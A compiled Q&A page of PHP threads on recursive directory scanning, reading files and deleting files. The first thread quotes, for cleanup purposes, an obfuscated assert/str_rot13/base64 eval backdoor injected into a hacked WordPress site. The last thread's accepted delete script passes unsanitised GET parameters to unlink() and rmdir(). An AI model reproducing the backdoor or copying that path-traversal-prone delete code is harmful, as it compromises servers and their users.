PHP read each .php file and search for code, not string - php

Long story short, my server was infected through an old wordpress install. I found the leak and now I have to clean up all of the affected files. All files that were affected were given a block of code, which is the same across all affected files.
I'm trying to loop through my server directory, search for this block of code then delete it and save the file.
There are a couple of problems that might make this hard.
The stuff I'm looking for is PHP code and I'm not sure the way I'm doing this will look for a specific string in a code block, rather it will only look for strings
My host has changed the permissions on any of these files to 200, so I need to change these to 604 or 777 (temporarily) to be able to open, change and save the files.
This is what I have so far:
function getDirContents($dir, $mal) {
$files = scandir($dir);
foreach($files as $file) {
if($file == "." || $file == "..") continue;
if(!is_file($dir . $file)){
//echo "Folder: " . $dir . $file . "<br />";
getDirContents($dir.$file."/", $mal);
} else {
//echo "File: " . $dir . $file . "<br />";
$content = file_get_contents($dir . $file);
if (strpos($content, $mal) !== false) {
echo "FOUND" . $dir.$file . "<br>";
}
}
}
}
$dir = "./";
$mal = "//###=CACHE START=###";
getDirContents($dir, $mal);
So, I am searching for this specific comment: //###=CACHE START=###. This is the same in every affected file, but I can not seem to search for it.
I haven't gotten to the deleting of the code block yet, but I am trying to remove this from each file:
//###=CACHE START=###
error_reporting(0);
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1); $strings = "as";$strings .= "sert"; $strings(str_rot13('riny(onfr64_qrpbqr("nJLtXTymp2I0XPEcLaLcXFO7VTIwnT8tWTyvqwftsFOyoUAyVUftMKWlo3WspzIjo3W0nJ5aXQNcBjccozysp2I0XPWxnKAjoTS5K2Ilpz9lplVfVPVjVvx7PzyzVPtunKAmMKDbWTyvqvxcVUfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxcVTEcMFtxK0ACG0gWEIfvL2kcMJ50K2AbMJAeVy0cBjccMvujpzIaK21uqTAbXPpuKSZuqFpfVTMcoTIsM2I0K2AioaEyoaEmXPEsH0IFIxIFJlWGD1WWHSEsExyZEH5OGHHvKFxcXFNxLlN9VPW1VwftMJkmMFNxLlN9VPW3VwfXWTDtCFNxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKGfXWUHtCFNxK1ASHyMSHyfvFSEHHS9IH0IFK0SUEH5HVy07PvEcpPN9VPEsH0IFIxIFJlWFEH1CIRIsDHERHvWqBjbxqKWfVQ0tVzu0qUN6Yl8kAwDhZGZlYwD0YwR4BP9aMKDhpTujC2yjCFVhqKWfMJ5wo2EyXPEcpPxhVvMxCFVhqKWfMJ5wo2EyXPExXF4vWaH9Vv51pzkyozAiMTHbWUHcYvVzLm0vYvEwYvVznG0kWzt9Vv5gMQHbVwt2LGV2ZmWxZGp0MGIvAJV2ZJVjAGpmZJV5LwOyZGOzVv4xMP4xqF4xLl4vZFVcBjccMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsFOyoUAynJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK1WSISIFGyEFDH5GExIFYPOHHyISXGfXWUWyp3IfqPN9VTA1pzksMKuyLltxL2tcBjcwqKWfK2Afo3AyXPEwnPx7PvEcLaLtCFNxpzImqJk0Bjc9VTIfp2HtrjbxMaNtCFOzp29wn29jMJ4bVwR2AP4kZmVhAQDhZGt4VvjtBQNfVPEypaWholjtWTIlpaA0pvjtZmNcBjccMvNbWTMjXFO7PvNtVPNxo3I0VQ0tVxqSIPNiM2I0YaObpQ9cpQ0vYaIloTIhL29xMFtxnKNcYvVzMQ0vYaIloTIhL29xMFtxMPxhVvM1CFVhqKWfMJ5wo2EyXPE1XF4vWzZ9Vv4xLl4vWzx9ZFMbCFVhoJD1XPV4AzRlAwZlMQR3ATH1LwIvAwSvZQH3ZmSvBJVjMGRjMvVhWTDhWUHhWTZhVwRvXF4vVRuHISNiZF4kKUWpovV7PvNtVPNxo3I0VP49VPWVo3A0BvNkAwDhZGZlYwD0YwR4BSklKT4vBjbtVPNtWT91qPNhCFNvD29hozIwqTyiowbtD2kip2IppykhKUWpovV7PvNtVPOzq3WcqTHbWTMjYPNxo3I0XGfXVPNtVPElMKAjVQ0tVvV7PvNtVPO3nTyfMFNbVJMyo2LbWTMjXFxtrjbtVPNtVPNtVPElMKAjVP49VTMaMKEmXPEzpPjtZGV4XGfXVPNtVU0XVPNtVTMwoT9mMFtxMaNcBjbtVPNtoTymqPtxnTIuMTIlYPNxLz9xrFxtCFOjpzIaK3AjoTy0XPViKSWpHv8vYPNxpzImpPjtZvx7PvNtVPNxnJW2VQ0tWTWiMUx7Pa0XsDc9BjccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtWS9FEISIEIAHJlWjVy0tCG0tVzSuZmR3MzWzVvxtrlOyqzSfXUA0pzyjp2kup2uypltxK1WSHIISH1EoVzZvKFxcBlO9PzIwnT8tWTyvqwg9"));'));
//###=CACHE END=###
Any advice?

Related

How to list directories, sub-directories and all files in php

I want to be able to list all the directories, subdirectories and files in the "./" folder ie the project folder called fileSystem which contains this php file scanDir.php.
You can view the directory system I've got here:
At the minute it will only return the subdirectory folders/files in the root of the mkdir directory but not any folders inside that subdirectory.
How do I modify the code so that it demonstrates all the files, directories, subdirectories and their files and subdirectories within the fileSystem folder given that the php file being run is called scanDir.php and the code for that is provided below.
Here is the php code:
$path = "./";
if(is_dir($path))
{
$dir_handle = opendir($path);
//extra check to see if it's a directory handle.
//loop round one directory and read all it's content.
//readdir takes optional parameter of directory handle.
//if you only scan one single directory then no need to passs in argument.
//if you are then going to scan into sub-directories the argument needs
//to be passed into readdir.
while (($dir = readdir($dir_handle))!== false)
{
if(is_dir($dir))
{
echo "is dir: " . $dir . "<br>";
if($dir == "mkdir")
{
$sub_dir_handle = opendir($dir);
while(($sub_dir = readdir($sub_dir_handle))!== false)
{
echo "--> --> contents=$sub_dir <br>";
}
}
}
elseif(is_file($dir))
{
echo "is file: " . $dir . "<br>" ;
}
}
closedir($dir_handle); //will close the automatically open dir.
}
else {
echo "is not a directory";
}
Use scandir to see all stuff in the directory and is_file to check if the item is file or next directory, if it is directory, repeat the same thing over and over.
So, this is completely new code.
function listIt($path) {
$items = scandir($path);
foreach($items as $item) {
// Ignore the . and .. folders
if($item != "." AND $item != "..") {
if (is_file($path . $item)) {
// this is the file
echo "-> " . $item . "<br>";
} else {
// this is the directory
// do the list it again!
echo "---> " . $item;
echo "<div style='padding-left: 10px'>";
listIt($path . $item . "/");
echo "</div>";
}
}
}
}
echo "<div style='padding-left: 10px'>";
listIt("/");
echo "</div>";
You can see the live demo here in my webserver, btw, I will keep this link just for a second
When you see the "->" it's an file and "-->" is a directory
The pure code with no HTML:
function listIt($path) {
$items = scandir($path);
foreach($items as $item) {
// Ignore the . and .. folders
if($item != "." AND $item != "..") {
if (is_file($path . $item)) {
// this is the file
// Code for file
} else {
// this is the directory
// do the list it again!
// Code for directory
listIt($path . $item . "/");
}
}
}
}
listIt("/");
the demo can take a while to load, it's a lot of items.
There are some powerful builtin functions for PHP to find files and folders, personally I like the recursiveIterator family of classes.
$startfolder=$_SERVER['DOCUMENT_ROOT'];
$files=array();
foreach( new RecursiveIteratorIterator( new RecursiveDirectoryIterator( $startfolder, RecursiveDirectoryIterator::KEY_AS_PATHNAME ), RecursiveIteratorIterator::CHILD_FIRST ) as $file => $info ) {
if( $info->isFile() && $info->isReadable() ){
$files[]=array('filename'=>$info->getFilename(),'path'=>realpath( $info->getPathname() ) );
}
}
echo '<pre>',print_r($files,true),'</pre>';

Extract a folder and then search for specific file in PHP

I´m building a php programm which uploads a zip file, extracts it and generates a link for a specific file in the extracted folder. Uploading and extracting the folder works fine. Now I´m a bit stuck what to do next. I have to adress the just extracted folder and find the (only) html file that is in it. Then a link to that file has to be generated.
Here is the code I´m using currently:
$zip = new ZipArchive();
if ($zip->open($_FILES['zip_to_upload']['name']) === TRUE)
{
$folderName = trim($zip->getNameIndex(0), '/');
$zip->extractTo(getcwd());
$zip->close();
}
else
{
echo 'Es gab einen Fehler beim Extrahieren der Datei';
}
$dir = getcwd();
$scandir = scandir($dir);
foreach ($scandir as $key => $value)
{
if (!in_array($value,array(".",".."))) //filter . and .. directory on linux-systems
{
if (is_dir($dir . DIRECTORY_SEPARATOR . $value) && $value == $folderName)
{
foreach (glob($value . "/*.html") as $filename) {
$htmlFiles[] = $filename; //this is for later use
echo "<a href='". SK_PICS_SRV . DIRECTORY_SEPARATOR . $filename . "'>" . SK_PICS_SRV . DIRECTORY_SEPARATOR . $filename . "</a>";
}
}
}
}
So this code seems to be working. I just noticed a rather strange problem. The $zip->getNameIndex[0] function behaves differently depending on the program that created the zip file. When I make a zip file with 7zip all seems to work without a problem. $folderName contains the right name of the main folder which I just extracted. For example "folder 01". But when I zip it with the normal windows zip programm the excat same folder (same structure and same containing files) the $zip->getNameIndex[0] contains the wrong value. For example something like "folder 01/images/" or "folder 01/example.html". So it seems to read the zip file differently/ in a wrong way. Do you guys know where that error comes from or how I can avoid it? This really seems strange to me.
Because you specify the extract-path by yourself you can try finding your file with php's function "glob"
have a look at the manual:
Glob
This function will return the name of the file matching the search pattern.
With your extract-path you now have your link to the file.
$dir = "../../suedkurier/werbung/"
$scandir = scandir($dir);
foreach ($scandir as $key => $value)
{
if (!in_array($value,array(".",".."))) //filter . and .. directory on linux-systems
{
if (is_dir($dir . DIRECTORY_SEPARATOR . $value))
{
foreach (glob($dir . DIRECTORY_SEPARATOR . $value . "/*.html") as $filename) {
$files[] = $value . DIRECTORY_SEPARATOR $filename;
}
}
}
}
The matched files will now be saved in the array $files (with the subfolder)
So you get your path like
foreach($files as $file){
echo $dir . DIRECTORY_SEPARATOR . $file;
}
$dir = "the/Directory/You/Extracted/To";
$files1 = scandir($dir);
foreach($files1 as $str)
{
if(strcmp(pathinfo($str, PATHINFO_EXTENSION),"html")===0||strcmp(pathinfo($str, PATHINFO_EXTENSION),"htm")===0)
{
echo $str;
}
}
Get an array of each file in the directory, check the extension of each one for htm/html, then echo the name if true.

Reading all file contents from a directory - php

This is actually is an easy task
I want to display contents of all files located in specified folder.
I am passing directory name
echo "<a href='see.php?qname=". $_name ."'>" . $row["qname"] . "</a>";
on second page ,
I am iterating over the directory content
while($entryname = readdir($myDirectory))
{
if(is_dir($entryname))
{
continue;
}
if($entryname=="." || $entryname==".." )
{}
else
{
if(!is_dir($entryname))
{
$fileHandle=fopen($entryname, "r");
while (!feof($fileHandle) ) {
$line = fgets($fileHandle);
echo $line . "<br />";
}
.
.
.
but I am unable to read any file , I have changed their permissions as well.
I tried putting directory name statically which worked,
Can someone suggest what am I doing wrong?
$entryname will contain JUST the filename, with no path information. You have to manually rebuild the path yourself. e.g.
$dh = opendir('/path/you/want/to/read/');
while($file = readdir($dh)) {
$contents = file_get_contents('/path/you/want/to/read/' . $file);
^^^^^^^^^^^^^^^^^^^^^^^^^^---include path here
}
Without the explicit path in your "read the file code", you're trying to open and read a file in the script's current working directory, not the director you're reading the filenames from.
Much simpler:
foreach(glob("$myDirectory/*") as $file) {
foreach(file($file) as $line) {
echo $line . "<br />";
}
}
Even simpler:
foreach(glob("$myDirectory/*") as $file) {
echo nl2br(file_get_contents($file));
}

cakephp 2.3.x or PHP need to rename all video files in a directory - getting error

I'm using CakePHP 2.3.1 on a MAMP server on Mac OSX. I am having trouble when I try to use rename($oldname, $newname); because I always get the following error:
FATAL ERROR
Error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 9662464 bytes)
File: /Users/esjenkins/Sites/cakephp/app/View/Layouts/default.ctp
Line: 56
I tried setting the permissions on the folder to everyone read/write.
If I comment out the rename($oldname, $newname); I can get an echo as I would expect for those two variables in each loop. As an Example:
$oldname = /Users/esjenkins/Sites/cakephp/app/webroot/files/asdfasf2929.mp4
$newname = /Users/esjenkins/Sites/cakephp/app/webroot/files/2929.mp4
Here is the PHP code in my View folder file called list_adjudication.ctp
<div class="dances index">
<h3><?php echo 'Adjudication Files'; ?></h3>
<?php
$adjudication_path = APP . 'webroot/files/';
if ($handle = opendir($adjudication_path)) {
/* This is the correct way to loop over the directory. */
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != ".." && $entry != ".DS_Store" && $entry != "empty") {
$adj_file_string = "$entry\n";
//echo $adj_file_string . " <br /> <br /> ";
$rename_adj_file_string = substr($adj_file_string, -9, 8);
//echo $rename_adj_file_string . " <br /> <br /> ";
$oldname = $adjudication_path . $adj_file_string;
$newname = $adjudication_path . $rename_adj_file_string;
echo $oldname . " | " . $newname . " <br /> <br /> ";
rename($oldname, $newname);
}
}
closedir($handle);
}
?>
I have about 750 adjudication files that I will need renamed after upload.
Thanks in advance.
UPDATE: Trying to rename in a loop doesn't work (per thaJeztah's advice below). I was able to successfully use the rename($oldname, $newname); outside of the loop. I will experiment more with putting the file names into an array and I will report the results later.
ANSWER: I couldn't get rename() to work in any loop, even with the use of an array for some reason. But I did get things working by putting this code into the controller:
public function list_adjudication() {
$adjudication_path = APP . 'webroot/files/';
$dir = new Folder($adjudication_path);
$files = $dir->find('.*\.mp4');
//print_r($files);
foreach ($files as $file) {
//$file = new File($dir->pwd() . DS . $file);
echo $file . " <br /> ";
//$contents = $file->read();
// // $file->write('I am overwriting the contents of this file');
// // $file->append('I am adding to the bottom of this file.');
// // $file->delete(); // I am deleting this file
$newName = substr($file, -8, 8);
//echo $newName; exit;
rename($adjudication_path . $file, $adjudication_path . $newName);
}
//$file->close(); // Be sure to close the file when you're done
}
I'm not sure if it's ok to have this code in the Controller or if it would be proper to put it in the Model. I'm super new to CakePHP and coding in general. As soon as I get past a major deadline I'm going to go back and try learning the blog tutorial from scratch to get a better grasp of the basics.
HUGE THANKS to #thaJeztah for helping to AGAIN get over a major hurdle. Save my butt again. Many thanks.
Increase memory_limit in php.ini
you can increase memory limit several way,
directly php.ini file,
memory_limit = 2048M
via .htaccess
php_value memory_limit 2048M
or use
ini_set('memory_limit', '2048M');
in your application.

PHP Delete File script

I have a basic PHP script that displays the file contents of a directory. Here is the script:
<?php
$Dept = "deptTemplate";
if(isset($_REQUEST['dir'])) {
$current_dir = $_REQUEST['dir'];
} else {
$current_dir = 'docs';
}
if ($handle = opendir($current_dir)) {
while (false !== ($file_or_dir = readdir($handle))) {
if(in_array($file_or_dir, array('.', '..'))) continue;
$path = $current_dir.'/'.$file_or_dir;
if(is_file($path)) {
echo '`'.$file_or_dir.' - [Delete button/link]<br/>`';
} else {
echo '``'.$file_or_dir."\n`` - [Delete button/link]`<br/>`";
}
}
closedir($handle);
}
?>
I am trying to create a delete link/button that displays next to each file and when clicked, the corresponding file will be deleted. Would you know how to do this?
Use the built-in unlink($filepath) function.
Sure, you'd have to use unlink() and rmdir(), and you'd need a recursive directory removal function because rmdir() doesn't work on directories with files in them. You'd also want to make sure that the deletion script is really secure to stop people from just deleting everything.
Something like this for the recursive function:
function Remove_Dir($dir)
{
$error = array();
if(is_dir($dir))
{
$files = scandir($dir); //scandir() returns an array of all files/directories in the directory
foreach($files as $file)
{
$fullpath = $dir . "/" . $file;
if($file == '..' || $file == '.')
{
continue; //Skip if ".." or "."
}
elseif(is_dir($fullpath))
{
Remove_Dir($fullpath); //recursively remove nested directories if directory
}
elseif(is_file($fullpath))
{
unlink($fullpath); //Delete file otherwise
}
else
{
$error[] = 'Error on ' . $fullpath . '. Not Directory or File.' //Should be impossible error, because everything in a directory should be a file or directory, or . or .., and thus should be covered.
}
}
$files = scandir($dir); //Check directory again
if(count($files) > 2) //if $files contains more than . and ..
{
Remove_Dir($dir);
}
else
{
rmdir($dir); //Remove directory once all files/directories are removed from within it.
}
if(count($error) != 0)
{return $error;}
else
{return true;}
}
}
Then you just need to pass the file or directory to be deleted through GET or something to the script, probably require urlencode() or something for that, make sure that it's an authorized user with permissions to delete trying to delete the stuff, and unlink() if it's a file, and Remove_Dir() if it's a directory.
You should have to prepend the full path to the directory or file to the directory/file in the script before removing the directory/file.
Some things you'll want for security is firstly making sure that the deletion is taking place in the place it's supposed to, so someone can't do ?dir=/ or something and attempt to delete the entire filesystem from root, which can probably be circumvented by prepending the appropriate path onto the input with something like $dir = '/home/user/public_html/directories/' . $_GET['dir'];, of course then they can potentially delete everything in that path, which means that you need to make sure that the user is authorized to do so.
Need to keep periodic backups of files just in case.
Something like this? Not tested...
<?php
echo '`'.$file_or_dir.' - [Delete button/link]<br/>`';
?>
<?php
if ($_GET['del'] == 1 && isset($_GET['file_or_dir']){
unlink ("path/".$_GET['file_or_dir']);
}
?>
I've worked it out:
I added this delete link on the end of each listed file in the original script:
- < a href="delete.php?file='.$file_or_dir.'&dir=' . $dir . '"> Delete< /a>< br/>';
This link takes me to the download script page, which looked like this:
<?php
ob_start();
$file = $_GET["file"];
$getDir = $_GET["dir"];
$dir = 'docs/' . $getDir . '';
$isFile = ($dir == "") ? 'docs/' . $file . '' : '' . $dir . '/' . $file . '';
if (is_file($isFile)){
if ($dir == "")
unlink('docs/' . $file . '');
else
unlink('' . $dir . '/' . $file . '');
echo '' . $file . ' deleted';
echo ' from ' . $dir . '';
}
else{
rmdir('' . $dir . '/' . $file . '');
echo '' . $dir . '/' . $file . ' deleted';}
header("Location: indexer.php?p=" . $getDir . "");
ob_flush();
?>
It all works brilliantly now, thank you all for your help and suggestions :)

Categories